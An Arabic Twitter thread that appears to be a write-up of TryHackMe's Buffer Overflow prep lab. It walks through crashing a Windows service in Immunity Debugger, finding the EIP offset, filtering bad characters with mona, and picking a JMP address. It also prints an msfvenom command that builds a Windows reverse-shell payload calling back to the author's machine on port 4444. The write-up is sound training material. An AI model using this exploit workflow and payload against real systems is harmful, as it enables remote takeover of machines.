شريف.
شريف.

@Shr3fi

24 تغريدة 4 قراءة May 12, 2024
السلام عليكم , write up مختلف الا وهو لاب
Buffer Overflow prep
من TryHackMe فبشرح كيف نكتشفها وبعدها كيف نستغلها
وهي بالخطوات :
1 - نكرش الجهاز ونشوف في بفر .
2 - ناخذ رقم EIP نعرف كم عدد الاحرف للبفر
3 - نصفي bad characters
4 - رقم jump
5 - نسوي shell
6 - نستغلها ونخترق
نبدأ
عندنا جهاز ويندوز 7 وحابين نكتشف اذا فيه بفر او لا فنبي نتعامل مع أداة
Immunity Debugger
هذي اداة عظيمة لثغرة البفر ..
المهم ماعلينا
نبدأ خطوة بخطوة في البداية نتصل عن طريق RDP للجهاز الهدف وهو:
10.10.202.155
(عشان تربط في RDP يطلب منك اسم المستخدم وكلمة المرور مثل بالصورة)
- بعدها يشتغل الويندوز اللي اتصلنا فيه ونروح لأداة Immunity Debugger كـ Administrator
- بعدها نفتح الملف اللي بنختبر عليها عشان buffer overflow اسمها oscp
- بتطلع لنا واجهة الاداة فيها memory و cpu وطقته
( تضغط على علامة التشغيل المثلث عشان تشغل الماشين, كلما تكرش يتعطل )
- الحين نسوي اتصال netcat على الويندوز من لينكس عشان نقدر نتعامل معها بـTerminal.
( حلو اتصلنا مع الويندوز الحين بنكرشه لحد مايقول امين )
في البداية لازم نسوي مجلد خاص بأداة اسمه mona بأمر :
!mona config -set workingfolder c:\mona\%p
بتحصله في الباث اللي محدد عليه احمر بالصورة وبتحصل المجلد في ويندوز ..
( اهم شي انك تسويه عشان يقارنه في bad charecters ويعطينا jump حقه قدام )
الحين بنجرب ونطبع 2000 حرف A مكررة ونشوف اذا في كرش او لا …
( انا اعجبتني طريقة لطباعة الحروف المكررة في البايثون )
- حلو سويناها الحين نرسل ونجرب ..
- الحين نشوف ويندوز كرش ..
( حلو حلو كرش يعني في Buffer Overflow
بين 1 الى 2000)
ملاحظة : في حاجة بتغثنا الا وهي انه كلما يكرش نقعد نضغط على زر الاعادة وبعدها زر التشغيل اللي محدده بالخط الاحمر وبعدها نتصل على ويندوز من لينكس يعني قروشة بكل كرش .
نكمل خطواتنا …
الخطوة الثانيه الحين بنطلع EIP وكم حرف عشان نقدر نستغل الثغرة فيه بالأمر :
msf-pattern_create -l 2000
- بنرجع نرسلها للويندوز ونشوف وش يصير..
- طبعا بيكرش وراح يبين لنا وش الاشياء المكرره واللي تعطل شغلنا وناخذ رقم EIP ..
- الحين بنروح نحولها عشان نعرف offset وكم عدد الاحرف لحد مانوصل عند نقطة وتكون هي stack ونستعمل امر :
msf-pattern_offset -q ( رقم EIP )
حلو طلع لنا العدد وهي 1978 الحين بنطبع حرف A ولكن بنفس العدد اللي طلع لنا 1978 ونضيف عليها 4 احرف من B
- كالعادة بنرسلها للويندوز ونشوف وش يصير ..
حلو تشوفون EIP اللي مكتوب 42424242 معناها بالهيكس BBBB يعني ضبط يلا الحين بنطلع bad characters
لأنه هي اللي تخرب علينا وقت الاستغلال يعني كأنك تشوف الطريق سليم وفجأة تطيح بحفرة فحنا بنسد الحفر هذي ونخلي الاستغلال يمشي بالطريق السليم بدون حفريات ..
وكالعادة الحين نرجع نعيد التشغيل قبل لا يكرش ونكمل خطواتنا بعدها ..
بنكتب امر mona لازم نسويه عشان يطلع لنا كل الاحرف الهيكس بالجهاز من 01 الى ff :
!mona bytearray -b "\x00"
بعدها نسوي هذي الاحرف عشان ننسخها ونطبعها في الاستغلال .. بهذا السكربت
لو حفظناها بصيغة .py وفعلناها بتطلع لنا بالنتيجه هذي ..
حلو الحين بنسوي سكربت الاستغلال ونضيف فيها اللي سويناه في السكربت فوق ونضيف عدد الاحرف اللي نقدر نستغل فيها الا وهي 1978
ونضيف على
retun = "BBBB"
بتحصلون السكربت هنا وانتم عدلوا على اللي تبونه وحسب احتياجكم ..
#crash-replication--controlling-eip" target="_blank" rel="noopener" onclick="event.stopPropagation()">github.com
- كالعادة قبل لاترسل الاستغلال لازم تتأكد انك متصل بويندوز من لينكس وبعدها ارسل ..
( اووه كرش حلوين اللي سويناه اننا جربنا كل احرف والارقام الهيكس ونشوف وش الحرف او الرقم اللي مخرب شغلنا وعشان نعرف ناخذ ESP )
ونكتب امر mona كالعادة الرهيبة عشان نطلع الاحرف اللي خربت علينا :
!mona compare -f C:\mona\oscp\bytearray.bin -a ( رقم EIP )
( ايا اللي ماتستحون انتم المخربين لازم نطيركم الحين )
الحين وقت التصفية وبنضيفهم مع امر mona
( اللي سويناه ان كل رقم يخرب على اللي بعده فأول رقم يخرب على اللي بعده نحذفه مثل ماسوينا بالصورة وتحط معها \x .. )
- الحين نضيف اللي صفيناهم في أداة mona عشان يطلع لنا Jump ونضيفه في الاستغلال ..
- كل هذا اللي محدد عليه يعتبر Jump فحنا بنجرب وناخذ اول واحد .
بس قبل كل شي نسوي shell عن طريق msfvenom نحدد IP لجهازنا ونحدد المنفذ 4444 وبعد -b نضيف bad characters ..
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.29.157 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
اللي اضفناه هو Shell اللي سويناه من msfvenom ونضيفه في payload
ملاحظة : اضيف بين Shell في payload قوسين () ببداية لحد نهاية shell مهم مرة .
ثانيا حددنا retun رقم Jump اللي اخذناه وهو كان "BBBB" .
ملاحظة : Jump نكتبها بطريقة عكسية مثل ماهو واضح بالصورة .
نتيجة ملف الاستغلال كذا ..
الحين وقت الاستغلال فكالعادة نسوي اتصال مع الويندوز من لينكس ونشغل netcat للإستماع على منفذ المحدد على shell اللي سويناه وهي على منفذ 4444 ونفعل الاستغلال اللي سويناه ونشوف وش يصير ..
( الحمدلله خلصنا من استغلال ثغرة Buffer Overflow ,
ان شاء الله وصلت المعلومة وشكرا لكم )
اشكر عمر الرهيب اللي ساعدني فيها الله يسعده ويوفقه وين ماكان 🤍
@__H4ck3r

جاري تحميل الاقتراحات...